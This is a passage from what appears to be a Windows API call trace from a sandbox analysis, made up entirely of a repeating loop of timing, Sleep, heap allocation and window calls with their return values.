returned 0x61 [0033.366] timeGetTime () returned 0x11435cf [0033.366] Sleep (dwMilliseconds=0x0) [0033.366] GetProcessHeap () returned 0x790000 [0033.366] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.366] GetProcessHeap () returned 0x790000 [0033.366] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.366] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.366] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.366] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.366] timeGetTime () returned 0x11435cf [0033.366] Sleep (dwMilliseconds=0x0) [0033.366] GetProcessHeap () returned 0x790000 [0033.366] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.366] GetProcessHeap () returned 0x790000 [0033.366] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.367] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.367] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.367] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.367] timeGetTime () returned 0x11435cf [0033.367] Sleep (dwMilliseconds=0x0) [0033.367] GetProcessHeap () returned 0x790000 [0033.367] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.367] GetProcessHeap () returned 0x790000 [0033.367] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.367] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.367] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.367] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.367] timeGetTime () returned 0x11435cf [0033.367] Sleep (dwMilliseconds=0x0) [0033.367] GetProcessHeap () returned 0x790000 [0033.367] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.367] GetProcessHeap () returned 0x790000 [0033.367] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.367] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.367] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.367] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.367] timeGetTime () returned 0x11435cf [0033.367] Sleep (dwMilliseconds=0x0) [0033.367] GetProcessHeap () returned 0x790000 [0033.367] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.367] GetProcessHeap () returned 0x790000 [0033.367] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.367] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.367] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.367] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.367] timeGetTime () returned 0x11435cf [0033.367] Sleep (dwMilliseconds=0x0) [0033.367] GetProcessHeap () returned 0x790000 [0033.367] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.367] GetProcessHeap () returned 0x790000 [0033.367] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.367] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.367] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.367] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.367] timeGetTime () returned 0x11435cf [0033.368] Sleep (dwMilliseconds=0x0) [0033.368] GetProcessHeap () returned 0x790000 [0033.368] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.368] GetProcessHeap () returned 0x790000 [0033.368] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.368] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.368] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.368] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.368] timeGetTime () returned 0x11435cf [0033.368] Sleep (dwMilliseconds=0x0) [0033.368] GetProcessHeap () returned 0x790000 [0033.368] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.368] GetProcessHeap () returned 0x790000 [0033.368] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.368] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.368] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.368] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.368] timeGetTime () returned 0x11435cf [0033.368] Sleep (dwMilliseconds=0x0) [0033.368] GetProcessHeap () returned 0x790000 [0033.368] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.368] GetProcessHeap () returned 0x790000 [0033.368] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.368] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.368] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.368] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.368] timeGetTime () returned 0x11435cf [0033.368] Sleep (dwMilliseconds=0x0) [0033.368] GetProcessHeap () returned 0x790000 [0033.368] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.368] GetProcessHeap () returned 0x790000 [0033.368] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.368] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.368] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.368] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.368] timeGetTime () returned 0x11435cf [0033.368] Sleep (dwMilliseconds=0x0) [0033.368] GetProcessHeap () returned 0x790000 [0033.369] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.369] GetProcessHeap () returned 0x790000 [0033.369] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.369] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.369] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.369] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.369] timeGetTime () returned 0x11435cf [0033.369] Sleep (dwMilliseconds=0x0) [0033.369] GetProcessHeap () returned 0x790000 [0033.369] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.369] GetProcessHeap () returned 0x790000 [0033.369] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.369] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.369] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.369] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.369] timeGetTime () returned 0x11435cf [0033.369] Sleep (dwMilliseconds=0x0) [0033.369] GetProcessHeap () returned 0x790000 [0033.369] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.369] GetProcessHeap () returned 0x790000 [0033.369] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.369] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.369] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.369] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.369] timeGetTime () returned 0x11435cf [0033.369] Sleep (dwMilliseconds=0x0) [0033.369] GetProcessHeap () returned 0x790000 [0033.369] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.369] GetProcessHeap () returned 0x790000 [0033.369] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.369] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.369] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.369] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.369] timeGetTime () returned 0x11435cf [0033.369] Sleep (dwMilliseconds=0x0) [0033.369] GetProcessHeap () returned 0x790000 [0033.369] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.369] GetProcessHeap () returned 0x790000 [0033.369] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.369] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.370] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.370] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.370] timeGetTime () returned 0x11435cf [0033.370] Sleep (dwMilliseconds=0x0) [0033.370] GetProcessHeap () returned 0x790000 [0033.370] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.370] GetProcessHeap () returned 0x790000 [0033.370] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.370] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.370] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.370] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.370] timeGetTime () returned 0x11435cf [0033.370] Sleep (dwMilliseconds=0x0) [0033.370] GetProcessHeap () returned 0x790000 [0033.370] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.370] GetProcessHeap () returned 0x790000 [0033.370] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.370] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.370] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.370] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.370] timeGetTime () returned 0x11435cf [0033.370] Sleep (dwMilliseconds=0x0) [0033.370] GetProcessHeap () returned 0x790000 [0033.370] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.370] GetProcessHeap () returned 0x790000 [0033.370] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.370] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.370] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.370] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.370] timeGetTime () returned 0x11435cf [0033.370] Sleep (dwMilliseconds=0x0) [0033.370] GetProcessHeap () returned 0x790000 [0033.370] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.370] GetProcessHeap () returned 0x790000 [0033.370] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.370] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.370] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.370] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.370] timeGetTime () returned 0x11435cf [0033.370] Sleep (dwMilliseconds=0x0) [0033.371] GetProcessHeap () returned 0x790000 [0033.371] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.371] GetProcessHeap () returned 0x790000 [0033.371] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.371] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.371] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.371] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.371] timeGetTime () returned 0x11435cf [0033.371] Sleep (dwMilliseconds=0x0) [0033.371] GetProcessHeap () returned 0x790000 [0033.371] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.371] GetProcessHeap () returned 0x790000 [0033.371] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.371] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.371] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.371] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.371] timeGetTime () returned 0x11435cf [0033.371] Sleep (dwMilliseconds=0x0) [0033.371] GetProcessHeap () returned 0x790000 [0033.371] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.371] GetProcessHeap () returned 0x790000 [0033.371] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.371] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.371] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.371] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.371] timeGetTime () returned 0x11435cf [0033.371] Sleep (dwMilliseconds=0x0) [0033.371] GetProcessHeap () returned 0x790000 [0033.371] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.371] GetProcessHeap () returned 0x790000 [0033.371] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.371] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.371] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.371] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.371] timeGetTime () returned 0x11435cf [0033.371] Sleep (dwMilliseconds=0x0) [0033.371] GetProcessHeap () returned 0x790000 [0033.371] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.372] GetProcessHeap () returned 0x790000 [0033.372] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.372] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.372] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.372] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.372] timeGetTime () returned 0x11435cf [0033.372] Sleep (dwMilliseconds=0x0) [0033.372] GetProcessHeap () returned 0x790000 [0033.372] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.372] GetProcessHeap () returned 0x790000 [0033.372] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.372] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.372] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.372] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.372] timeGetTime () returned 0x11435cf [0033.372] Sleep (dwMilliseconds=0x0) [0033.372] GetProcessHeap () returned 0x790000 [0033.372] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.372] GetProcessHeap () returned 0x790000 [0033.372] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.372] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.372] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.372] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.372] timeGetTime () returned 0x11435cf [0033.372] Sleep (dwMilliseconds=0x0) [0033.372] GetProcessHeap () returned 0x790000 [0033.372] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.372] GetProcessHeap () returned 0x790000 [0033.372] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.372] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.372] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.372] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.373] timeGetTime () returned 0x11435df [0033.373] Sleep (dwMilliseconds=0x0) [0033.373] GetProcessHeap () returned 0x790000 [0033.373] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.373] GetProcessHeap () returned 0x790000 [0033.373] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.373] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.373] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.373] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.373] timeGetTime () returned 0x11435df [0033.373] Sleep (dwMilliseconds=0x0) [0033.373] GetProcessHeap () returned 0x790000 [0033.373] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.373] GetProcessHeap () returned 0x790000 [0033.373] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.373] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.373] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.373] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.373] timeGetTime () returned 0x11435df [0033.373] Sleep (dwMilliseconds=0x0) [0033.373] GetProcessHeap () returned 0x790000 [0033.373] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.373] GetProcessHeap () returned 0x790000 [0033.373] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.373] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.373] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.373] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.373] timeGetTime () returned 0x11435df [0033.373] Sleep (dwMilliseconds=0x0) [0033.373] GetProcessHeap () returned 0x790000 [0033.373] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.373] GetProcessHeap () returned 0x790000 [0033.373] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.373] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.373] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.373] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.373] timeGetTime () returned 0x11435df [0033.373] Sleep (dwMilliseconds=0x0) [0033.373] GetProcessHeap () returned 0x790000 [0033.374] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.374] GetProcessHeap () returned 0x790000 [0033.374] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.374] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.374] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.374] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.374] timeGetTime () returned 0x11435df [0033.374] Sleep (dwMilliseconds=0x0) [0033.374] GetProcessHeap () returned 0x790000 [0033.374] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.374] GetProcessHeap () returned 0x790000 [0033.374] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.374] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.374] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.374] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.374] timeGetTime () returned 0x11435df [0033.374] Sleep (dwMilliseconds=0x0) [0033.374] GetProcessHeap () returned 0x790000 [0033.374] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.374] GetProcessHeap () returned 0x790000 [0033.374] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.374] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.374] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.374] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.374] timeGetTime () returned 0x11435df [0033.374] Sleep (dwMilliseconds=0x0) [0033.374] GetProcessHeap () returned 0x790000 [0033.374] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.374] GetProcessHeap () returned 0x790000 [0033.374] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.374] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.374] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.374] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.374] timeGetTime () returned 0x11435df [0033.374] Sleep (dwMilliseconds=0x0) [0033.374] GetProcessHeap () returned 0x790000 [0033.374] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.374] GetProcessHeap () returned 0x790000 [0033.374] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.374] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.375] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.375] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.375] timeGetTime () returned 0x11435df [0033.375] Sleep (dwMilliseconds=0x0) [0033.375] GetProcessHeap () returned 0x790000 [0033.375] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.375] GetProcessHeap () returned 0x790000 [0033.375] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.375] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.375] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.375] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.375] timeGetTime () returned 0x11435df [0033.375] Sleep (dwMilliseconds=0x0) [0033.375] GetProcessHeap () returned 0x790000 [0033.375] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.375] GetProcessHeap () returned 0x790000 [0033.375] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.375] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.375] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.375] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.375] timeGetTime () returned 0x11435df [0033.375] Sleep (dwMilliseconds=0x0) [0033.375] GetProcessHeap () returned 0x790000 [0033.375] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.375] GetProcessHeap () returned 0x790000 [0033.375] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.375] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.375] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.375] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.375] timeGetTime () returned 0x11435df [0033.375] Sleep (dwMilliseconds=0x0) [0033.375] GetProcessHeap () returned 0x790000 [0033.375] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.375] GetProcessHeap () returned 0x790000 [0033.375] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.375] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.375] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.375] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.375] timeGetTime () returned 0x11435df [0033.375] Sleep (dwMilliseconds=0x0) [0033.376] GetProcessHeap () returned 0x790000 [0033.376] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.376] GetProcessHeap () returned 0x790000 [0033.376] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.376] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.376] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.376] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.376] timeGetTime () returned 0x11435df [0033.376] Sleep (dwMilliseconds=0x0) [0033.376] GetProcessHeap () returned 0x790000 [0033.376] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.376] GetProcessHeap () returned 0x790000 [0033.376] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.376] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.376] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.376] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.376] timeGetTime () returned 0x11435df [0033.376] Sleep (dwMilliseconds=0x0) [0033.376] GetProcessHeap () returned 0x790000 [0033.376] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.376] GetProcessHeap () returned 0x790000 [0033.376] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.376] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.376] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.376] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.376] timeGetTime () returned 0x11435df [0033.376] Sleep (dwMilliseconds=0x0) [0033.376] GetProcessHeap () returned 0x790000 [0033.376] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.376] GetProcessHeap () returned 0x790000 [0033.376] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.376] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.376] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.376] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.376] timeGetTime () returned 0x11435df [0033.376] Sleep (dwMilliseconds=0x0) [0033.376] GetProcessHeap () returned 0x790000 [0033.376] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.376] GetProcessHeap () returned 0x790000 [0033.377] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.377] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.377] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.377] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.377] timeGetTime () returned 0x11435df [0033.377] Sleep (dwMilliseconds=0x0) [0033.377] GetProcessHeap () returned 0x790000 [0033.377] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.377] GetProcessHeap () returned 0x790000 [0033.377] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.377] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.377] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.377] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.377] timeGetTime () returned 0x11435df [0033.377] Sleep (dwMilliseconds=0x0) [0033.377] GetProcessHeap () returned 0x790000 [0033.377] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.377] GetProcessHeap () returned 0x790000 [0033.377] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.377] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.377] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.377] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.377] timeGetTime () returned 0x11435df [0033.377] Sleep (dwMilliseconds=0x0) [0033.377] GetProcessHeap () returned 0x790000 [0033.377] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.377] GetProcessHeap () returned 0x790000 [0033.377] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.377] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.377] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.377] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.377] timeGetTime () returned 0x11435df [0033.377] Sleep (dwMilliseconds=0x0) [0033.377] GetProcessHeap () returned 0x790000 [0033.377] RtlAllocateHeap 